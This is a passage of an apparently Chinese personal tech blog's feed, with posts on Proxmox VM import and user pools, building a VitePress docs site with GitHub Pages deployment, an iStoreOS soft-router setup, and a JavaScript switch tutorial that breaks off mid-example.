&lt;p&gt;导入文件就是一个坑，因为导入&lt;code&gt;.ova&lt;/code&gt;文件的入口默认是隐藏的，你需要去开启这个带红框的地方&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/migrate-to-pve/migrate-to-pve.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后才能看见这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/migrate-to-pve/migrate-to-pve-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在导入虚拟机的时候确实踩了一个大坑，本来以为导入就可以直接无脑下一步，所有配置默认就是很好的，但是我忘记了一个点——CPU Types&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/migrate-to-pve/migrate-to-pve-3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个是导入的默认类型&lt;code&gt;x86-64-v2-AES&lt;/code&gt;，但是实际上自己在创建虚拟机的时候都会改成&lt;code&gt;host&lt;/code&gt;。否则根本开不了机，也就是改成这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/migrate-to-pve/migrate-to-pve-4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;实用功能&lt;/h3&gt;
&lt;p&gt;可以给用户分资源池的方式让用户管理单独资源池的方式达到不同用户虚拟机分开，但是对自己的虚拟机有创建删除与完全控制权&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;创建用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用户的验证模块如果不需要用户登录SSH，直接使用PVE自己的验证器即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/migrate-to-pve/migrate-to-pve-5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;创建资源池&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/migrate-to-pve/migrate-to-pve-6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;给用户分配资源池完整控制权&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/migrate-to-pve/migrate-to-pve-7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;登录用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用户可以正常创建与管理自己资源池内虚拟机&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/migrate-to-pve/migrate-to-pve-8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>构建VitePress文档站</title><link>https://ivoinkwell.xyz/posts/specks/building-vitepress-docs-site/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/building-vitepress-docs-site/</guid><pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;VitePress&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;VitePress&lt;/code&gt;是一个由Vue构建的文档网站，相比于&lt;code&gt;Hexo&lt;/code&gt;和&lt;code&gt;Hugo&lt;/code&gt;这样的博客，每个主题都有自己独特风格的样式，写法也有很大的差别。&lt;code&gt;VitePress&lt;/code&gt;的Markdown文档写法简单，也会更注重文档中最重要的文字表达。&lt;/p&gt;
&lt;h2&gt;安装VitePress&lt;/h2&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://vitepress.dev/guide/getting-started&quot; target=&quot;_blank&quot;&amp;gt;
点击打开VitePress官网安装介绍
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;安装&lt;code&gt;Node.js&lt;/code&gt;后，按照官网提示进行安装与部署配置即可完成网站的搭建&lt;/p&gt;
&lt;h2&gt;VitePress配置文件与配置&lt;/h2&gt;
&lt;h3&gt;目录结构&lt;/h3&gt;
&lt;p&gt;安装完成之后进入网站目录，大致是如下的结构&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/building-vitepress-docs-site/building-vitepress-docs-site.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置文件&lt;/h3&gt;
&lt;p&gt;配置文件位于&lt;code&gt;/.vitepress/&lt;/code&gt;目录下，配置文件名字是&lt;code&gt;config.mjs&lt;/code&gt;，页面的配置在里面调整。网站默认语言是中文，调整页面的默认语言也在这个文件中。&lt;/p&gt;
&lt;h3&gt;更换网站默认语言&lt;/h3&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://vitepress-i18n.cdget.com/guide/getting-started&quot; target=&quot;_blank&quot;&amp;gt;
点击打开vitepress-i18n项目文档
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;根据这个项目，提示我们先安装一下这个插件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm i -D vitepress-i18n
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在配置文件中更改配置格式，并应用这个插件&lt;/p&gt;
&lt;p&gt;这是配置文件默认的样式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { defineConfig } from &quot;vitepress&quot;;

// https://vitepress.dev/reference/site-config
export default defineConfig({
    srcDir: &quot;docs&quot;,
    publicDir: &quot;.vitepress/public&quot;,
    title: &quot;Inkwell Ops&quot;,
    description: &quot;Linux &amp;amp; Infrastructure&quot;,
    themeConfig: {
        // https://vitepress.dev/reference/default-theme-config
        nav: [
            { text: &quot;Home&quot;, link: &quot;/&quot; },
            { text: &quot;Blog&quot;, link: &quot;https://ivoink.qzz.io&quot;, target: &quot;_blank&quot; },
        ],

        sidebar: [
            {
                text: &quot;Examples&quot;,
                items: [
                    { text: &quot;Markdown Examples&quot;, link: &quot;/markdown-examples&quot; },
                    { text: &quot;Runtime API Examples&quot;, link: &quot;/api-examples&quot; },
                ],
            },
            {
                text: &quot;Linux&quot;,
                base: &quot;/linux-system/&quot;,
                items: [{ text: &quot;Overview&quot;, link: &quot;/&quot; }],
            },
        ],

        // socialLinks: [
        //     { icon: &quot;github&quot;, link: &quot;https://github.com/vuejs/vitepress&quot; },
        // ],
    },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们需要改成官网的这种格式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { withI18n } from &apos;vitepress-i18n&apos;;

const vitePressOptions = {
  title: &apos;VitePress&apos;,
  themeConfig: {
    // ...
  }
};

const vitePressI18nOptions = {
  locales: [&apos;en&apos;, &apos;ko&apos;, &apos;zhHans&apos;]
};

export default defineConfig(withI18n(vitePressOptions, vitePressI18nOptions));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以理解成为我们需要将原来在&lt;code&gt;default&lt;/code&gt;配置里面的放入&lt;code&gt;vitePressOptions&lt;/code&gt;这个const变量当中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { defineConfig } from &quot;vitepress&quot;;
import { withI18n } from &quot;vitepress-i18n&quot;;

// https://vitepress.dev/reference/site-config
const vitePressOptions = {
    srcDir: &quot;docs&quot;,
    publicDir: &quot;.vitepress/public&quot;,
    title: &quot;Inkwell Ops&quot;,
    description: &quot;Linux &amp;amp; Infrastructure&quot;,
    themeConfig: {
        // https://vitepress.dev/reference/default-theme-config
        nav: [
            { text: &quot;Home&quot;, link: &quot;/&quot; },
            { text: &quot;Blog&quot;, link: &quot;https://ivoink.qzz.io&quot;, target: &quot;_blank&quot; },
        ],

        sidebar: [
            // {
            //     text: &quot;Examples&quot;,
            //     items: [
            //         { text: &quot;Markdown Examples&quot;, link: &quot;/markdown-examples&quot; },
            //         { text: &quot;Runtime API Examples&quot;, link: &quot;/api-examples&quot; },
            //     ],
            // },
            {
                text: &quot;关于&quot;,
                items: [{ text: &quot;关于站点&quot;, link: &quot;/about&quot; }],
            },
            {
                text: &quot;Linux&quot;,
                base: &quot;/linux-system/&quot;,
                items: [
                    { text: &quot;Overview&quot;, link: &quot;/&quot; },
                    {
                        text: &quot;01 - Linux 安装与远程登录&quot;,
                        link: &quot;/01-linux-installation-and-remote-login&quot;,
                    },
                    {
                        text: &quot;02 - 软件与软件源&quot;,
                        link: &quot;/02-software-and-software-sources&quot;,
                    },
                ],
            },
        ],

        // socialLinks: [
        //     { icon: &quot;github&quot;, link: &quot;https://github.com/vuejs/vitepress&quot; },
        // ],
    },
};

const vitePressI18nOptions = {
    locales: [&quot;zhHans&quot;],
};

export default defineConfig(withI18n(vitePressOptions, vitePressI18nOptions));

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;favicon&lt;/h3&gt;
&lt;p&gt;这里推荐一个制作favicon的网站&lt;/p&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://favicon.pub/cn&quot; target=&quot;_blank&quot;&amp;gt;
点击跳转Favicon.pub
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;在其中生成之后的照片几乎有了所有设备需要的格式&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/building-vitepress-docs-site/building-vitepress-docs-site-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们需要将其放在&lt;code&gt;public&lt;/code&gt;目录当中，至于怎么确定&lt;code&gt;public&lt;/code&gt;目录在生成之后里面的文件是否会出现在根目录也十分简单，输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm run docs:build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候会在&lt;code&gt;/.vitepress/&lt;/code&gt;目录下出现一个&lt;code&gt;dist&lt;/code&gt;目录，里面便是这个博客整个网站目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/building-vitepress-docs-site/building-vitepress-docs-site-2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我的图片已经出现在根目录当中，我的&lt;code&gt;public&lt;/code&gt;文件夹在&lt;code&gt;docs&lt;/code&gt;，也就是文档目录当中&lt;/p&gt;
&lt;h3&gt;favicon的配置&lt;/h3&gt;
&lt;p&gt;参考我的配置的&lt;code&gt;head&lt;/code&gt;部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { defineConfig } from &quot;vitepress&quot;;
import { withI18n } from &quot;vitepress-i18n&quot;;

// https://vitepress.dev/reference/site-config
const vitePressOptions = {
    srcDir: &quot;docs&quot;,
    publicDir: &quot;.vitepress/public&quot;,
    head: [
        [&quot;link&quot;, { rel: &quot;icon&quot;, type: &quot;image/svg+xml&quot;, href: &quot;/favicon.svg&quot; }],
        [
            &quot;link&quot;,
            {
                rel: &quot;icon&quot;,
                type: &quot;image/png&quot;,
                sizes: &quot;16x16&quot;,
                href: &quot;/favicon-16x16.png&quot;,
            },
        ],
        [
            &quot;link&quot;,
            {
                rel: &quot;icon&quot;,
                type: &quot;image/png&quot;,
                sizes: &quot;32x32&quot;,
                href: &quot;/favicon-32x32.png&quot;,
            },
        ],
        [
            &quot;link&quot;,
            {
                rel: &quot;icon&quot;,
                type: &quot;image/png&quot;,
                sizes: &quot;48x48&quot;,
                href: &quot;/favicon-48x48.png&quot;,
            },
        ],
        [
            &quot;link&quot;,
            {
                rel: &quot;apple-touch-icon&quot;,
                sizes: &quot;180x180&quot;,
                href: &quot;/apple-touch-icon.png&quot;,
            },
        ],
        [
            &quot;link&quot;,
            {
                rel: &quot;apple-touch-icon&quot;,
                sizes: &quot;152x152&quot;,
                href: &quot;/apple-touch-icon-152x152.png&quot;,
            },
        ],
        [
            &quot;link&quot;,
            {
                rel: &quot;apple-touch-icon&quot;,
                sizes: &quot;167x167&quot;,
                href: &quot;/apple-touch-icon-167x167.png&quot;,
            },
        ],
        [&quot;link&quot;, { rel: &quot;manifest&quot;, href: &quot;/site.webmanifest&quot; }],
        [&quot;meta&quot;, { name: &quot;theme-color&quot;, content: &quot;#ffffff&quot; }],
        [
            &quot;meta&quot;,
            { name: &quot;msapplication-config&quot;, content: &quot;/browserconfig.xml&quot; },
        ],
    ],
    title: &quot;Inkwell Ops&quot;,
    description: &quot;Linux &amp;amp; Infrastructure&quot;,
    themeConfig: {
        // https://vitepress.dev/reference/default-theme-config
        nav: [
            { text: &quot;Home&quot;, link: &quot;/&quot; },
            { text: &quot;Blog&quot;, link: &quot;https://ivoink.qzz.io&quot;, target: &quot;_blank&quot; },
        ],

        sidebar: [
            // {
            //     text: &quot;Examples&quot;,
            //     items: [
            //         { text: &quot;Markdown Examples&quot;, link: &quot;/markdown-examples&quot; },
            //         { text: &quot;Runtime API Examples&quot;, link: &quot;/api-examples&quot; },
            //     ],
            // },
            {
                text: &quot;关于&quot;,
                items: [{ text: &quot;关于站点&quot;, link: &quot;/about&quot; }],
            },
            {
                text: &quot;Linux&quot;,
                base: &quot;/linux-system/&quot;,
                items: [
                    { text: &quot;Overview&quot;, link: &quot;/&quot; },
                    {
                        text: &quot;01 - Linux 安装与远程登录&quot;,
                        link: &quot;/01-linux-installation-and-remote-login&quot;,
                    },
                    {
                        text: &quot;02 - 软件与软件源&quot;,
                        link: &quot;/02-software-and-software-sources&quot;,
                    },
                ],
            },
        ],

        // socialLinks: [
        //     { icon: &quot;github&quot;, link: &quot;https://github.com/vuejs/vitepress&quot; },
        // ],
    },
};

const vitePressI18nOptions = {
    locales: [&quot;zhHans&quot;],
};

export default defineConfig(withI18n(vitePressOptions, vitePressI18nOptions));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;预览&lt;/h3&gt;
&lt;p&gt;我现在是在我开发机上面搭建并且去编写的，所以我不可能去使用&lt;code&gt;127.0.0.1&lt;/code&gt;这样的回环地址去预览，这个时候就要去动一下&lt;code&gt;package.json&lt;/code&gt;这个配置文件，可以看一下&lt;code&gt;docs:dev&lt;/code&gt;的更改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;devDependencies&quot;: {
        &quot;vitepress&quot;: &quot;^2.0.0-alpha.17&quot;,
        &quot;vitepress-i18n&quot;: &quot;^1.3.5&quot;
    },
    &quot;scripts&quot;: {
        &quot;docs:dev&quot;: &quot;vitepress dev --host 0.0.0.0&quot;,
        &quot;docs:build&quot;: &quot;vitepress build&quot;,
        &quot;docs:preview&quot;: &quot;vitepress preview --host 0.0.0.0&quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;部署&lt;/h2&gt;
&lt;p&gt;我使用的是GitHub Pages去实现的静态网页，新建目录&lt;code&gt;/.github/workflow&lt;/code&gt;在里面新建&lt;code&gt;deploy.yml&lt;/code&gt;文件，直接使用我的就可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name: Deploy GitHub Pages

on:
  push:
    branches: [main]
  workflow_dispatch:

permissions:
  contents: read
  pages: write
  id-token: write

concurrency:
  group: pages
  cancel-in-progress: false

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Setup Node
        uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm

      - name: Install dependencies
        run: npm ci

      - name: Build
        run: npm run docs:build

      - name: Upload artifact
        uses: actions/upload-pages-artifact@v3
        with:
          path: .vitepress/dist

  deploy:
    needs: build
    runs-on: ubuntu-latest
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    steps:
      - name: Deploy
        id: deployment
        uses: actions/deploy-pages@v4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用这个工作流，在仓库里面需要做下面这个更改，将Pages的Source改成GitHub Actions即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/building-vitepress-docs-site/building-vitepress-docs-site-3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果有自己的域名，一定要记得写&lt;code&gt;CNAME&lt;/code&gt;文件在&lt;code&gt;public&lt;/code&gt;文件夹内&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>软路由与iStoreOS</title><link>https://ivoinkwell.xyz/posts/specks/soft-router-istoreos/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/soft-router-istoreos/</guid><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;迁移原因&lt;/h2&gt;
&lt;h3&gt;前提&lt;/h3&gt;
&lt;p&gt;之前文章也写过，在家里使用晶晨S905L的电视盒子刷过OpenWrt系统，就是这篇文章：&lt;/p&gt;
&lt;p&gt;::post{slug=&quot;specks/amlogic-s905l-openwrt&quot;}&lt;/p&gt;
&lt;h3&gt;问题反馈&lt;/h3&gt;
&lt;p&gt;但是现在出现了很多的问题，比如之前频繁出现的突然网页卡住，重启之后前几分钟管理网页正常可以访问与显示，但是后面就再也无法访问了，这些问题一直没有很好的解决方案，所以我索性就再NAS上新建虚拟机去安装iStoreOS。&lt;/p&gt;
&lt;h2&gt;iStoreOS&lt;/h2&gt;
&lt;h3&gt;下载镜像&lt;/h3&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://fw.koolcenter.com/iStoreOS/x86_64/&quot;&amp;gt;
点击前往下载
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;h3&gt;安装&lt;/h3&gt;
&lt;p&gt;现在飞牛的系统对于&lt;code&gt;img.gz&lt;/code&gt;格式的镜像文件，所以直接选择下载好的镜像文件即可，不知道配置的可以参考这个配置：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412134244319.webp&quot; alt=&quot;image-20260412134244319&quot; /&gt;&lt;/p&gt;
&lt;p&gt;剩下的一直&lt;code&gt;下一步&lt;/code&gt;即可完成安装，开机时间可能会有点长，稍微等待一下，看到这个界面就成功了：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412134438699.webp&quot; alt=&quot;image-20260412134438699&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置&lt;/h3&gt;
&lt;h4&gt;安装后修改&lt;/h4&gt;
&lt;p&gt;单击&lt;code&gt;Enter&lt;/code&gt;进入终端：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412135427702.webp&quot; alt=&quot;image-20260412135427702&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入&lt;code&gt;quickstart&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412135459212.webp&quot; alt=&quot;image-20260412135459212&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里可以选择基础的配置，我需要我的软路由的IP在&lt;code&gt;192.168。1.254&lt;/code&gt;这样方便我访问，所以我选择&lt;code&gt;Change LAN IP&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412135614709.webp&quot; alt=&quot;image-20260412135614709&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入自己需要的IP即可，最后输入IP就可以进入后台：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412135707221.webp&quot; alt=&quot;image-20260412135707221&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;后台配置&lt;/h4&gt;
&lt;p&gt;在一开始进入后台，没有密码，直接按&lt;code&gt;Enter&lt;/code&gt;进入后自己配置密码，进入网络引导配置联网：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412135931992.webp&quot; alt=&quot;image-20260412135931992&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我是旁路由，选择&lt;code&gt;bypass router&lt;/code&gt;，中文就是配置旁路由，我选择手动配置，配置如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412140048687.webp&quot; alt=&quot;image-20260412140048687&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;软件配置&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;System(系统)&lt;/code&gt; - &lt;code&gt;Software(软件)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412141338870.webp&quot; alt=&quot;image-20260412141338870&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我安装了三个，分别是&lt;code&gt;SmartDNS&lt;/code&gt;，&lt;code&gt;ADBlock&lt;/code&gt;和&lt;code&gt;V2raya&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412141449667.webp&quot; alt=&quot;image-20260412141449667&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;SmartDNS&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412141612823.webp&quot; alt=&quot;image-20260412141612823&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;Adblock&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412141650519.webp&quot; alt=&quot;image-20260412141650519&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/soft-router-istoreos/image-20260412141702483.webp&quot; alt=&quot;image-20260412141702483&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;V2raya&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;这里需要下载两个文件：&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://gh-proxy.org/https://github.com/Loyalsoldier/v2ray-rules-dat/releases/latest/download/geoip.dat&quot;&amp;gt;
点击下载geoip.dat
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;a class=&quot;btn-regular no-styling&quot; style=&quot;display:inline-flex;align-items:center;justify-content:center;width:fit-content;padding:0.5rem 1.5rem;border-radius:0.5rem;font-size:0.875rem;line-height:1.25rem;color:var(--btn-content);text-decoration:none;font-weight:500;&quot; href=&quot;https://gh-proxy.org/https://github.com/Loyalsoldier/v2ray-rules-dat/releases/latest/download/geosite.dat&quot;&amp;gt;
点击下载geosite.dat
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;:::tip[GitHub源地址]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;geoip.dat：&lt;/strong&gt;
https://github.com/Loyalsoldier/v2ray-rules-dat/releases/latest/download/geoip.dat&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;geosite.dat&lt;/strong&gt;
https://github.com/Loyalsoldier/v2ray-rules-dat/releases/latest/download/geosite.dat&lt;br /&gt;
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;导入：&lt;/p&gt;
&lt;p&gt;放进&lt;code&gt;/usr/share/xray&lt;/code&gt;文件夹内。&lt;/p&gt;
&lt;h2&gt;安装踩坑&lt;/h2&gt;
&lt;p&gt;熟悉我的应该也能猜到，我这个毛病是改不了了，就是喜欢手动精简，我之前手贱卸载了这个系统的很多组建，虽然不知道是什么组建引起的问题，所以劝阻一下有和我有相同冲动的朋友，只要关闭LinkEase服务就行，Docker，DDNS-GO这些能不动就别动了。&lt;/p&gt;
</content:encoded></item><item><title>JavaScript switch语句</title><link>https://ivoinkwell.xyz/posts/web-frontend/javascript-switch/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/javascript-switch/</guid><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;之前本来想和其他的语句一起一笔带过，但是现在上过之后发现还是有很多值得去记录一下的。这个语句的语法和C语言几乎是一样的，但是在这里对于JavaScript中有一个点我觉得十分有意思，还会是十分有必要去讲一讲的。&lt;/p&gt;
&lt;h2&gt;switch语句&lt;/h2&gt;
&lt;p&gt;框架大体是相同的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;switch (变量) {
    case 值1:
        // 代码
        break;
    case 值2:
        // 代码
        break;
    case 值3:
        // 代码
        break;
    default:
        // 默认处理
        break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是里面有一个点在使用的时候不知道是没有学到，还是C语言的处理比JavaScript好，导致我几乎忘记&lt;code&gt;default&lt;/code&gt;条件的存在。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题及解决：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;根据输入数字，判断等级：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var inputNumber = prompt(&quot;请输入一个数字&quot;);
inputNumber = Number(inputNumber);
switch(inputNumber){
    case 1:
        document.write(&quot;一级&quot;);
        break;
    case 2:
        deocument.write(&quot;二级&quot;);
        break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在如果说是什么都不输入或者输入的类型不对会无法判断，这个时候如果条件都不满足，肯定是这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var inputNubmer = prompt(&quot;请输入一个数字&quot;);
inputNumber = Number(inputNumber);
switch(inputNumber){
    case 1:
        document.write(&quot;一级&quot;);
        break;
    case 2:
        document.write(&quot;二级&quot;);
        break;
}
document.write(&quot;请输入的是一个数值&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到那时这么写，任选结果又不能用了，所以，只有使用&lt;code&gt;default&lt;/code&gt;关键字：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var inputNumber = prompt(&quot;请输入一个数字&quot;);
inputNumber = Number(inputNumber);
switch(inputNumber){
    case 1:
        document.write(&quot;一级&quot;);
        break;
    case 2:
        document.write(&quot;二级&quot;);
        break;
    default:
        document.write(&quot;请输入的是一个数值&quot;);
        break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;判断与数据类型&lt;/h2&gt;
&lt;p&gt;接触到JavaScript之后，在了解变量类型之后我才发现都说简单的JavaScript和Python的数据类型都是动态类型，所以我之前一直觉得不严谨的语言在数据类型定义上面还是会更复杂一点。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;还是以这个为例子：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var inputNumber = prompt(&quot;请输入一个数字&quot;);
inputNumber = Number(inputNumber);
switch(inputNumber){
    case 1:
        document.write(&quot;一级&quot;);
        break;
    case 2:
        document.write(&quot;二级&quot;);
        break;
    default:
        document.write(&quot;请输入的是一个数值&quot;);
        break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个里面我写的是&lt;code&gt;inputNumber = Number(inputNumber);&lt;/code&gt;去强制与转换数据类型，而不是在&lt;code&gt;case&lt;/code&gt;的条件中加上&lt;code&gt;&apos;&apos;&lt;/code&gt;来转换数值类型为字符类型。&lt;/p&gt;
&lt;h3&gt;多分支语句&lt;/h3&gt;
&lt;p&gt;在多分支语句当中，在&lt;code&gt;if……else&lt;/code&gt;语句里面是有判断的，将刚刚的&lt;code&gt;switch&lt;/code&gt;语句先转换成&lt;code&gt;if……else&lt;/code&gt;语句：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var inputNumber = prompt(&quot;请输入一个数字&quot;);
inputNumber = Number(inputNumber);

if(inputNumber === 1){
    document.write(&quot;一级&quot;);
} else if(inputNumber === 2){
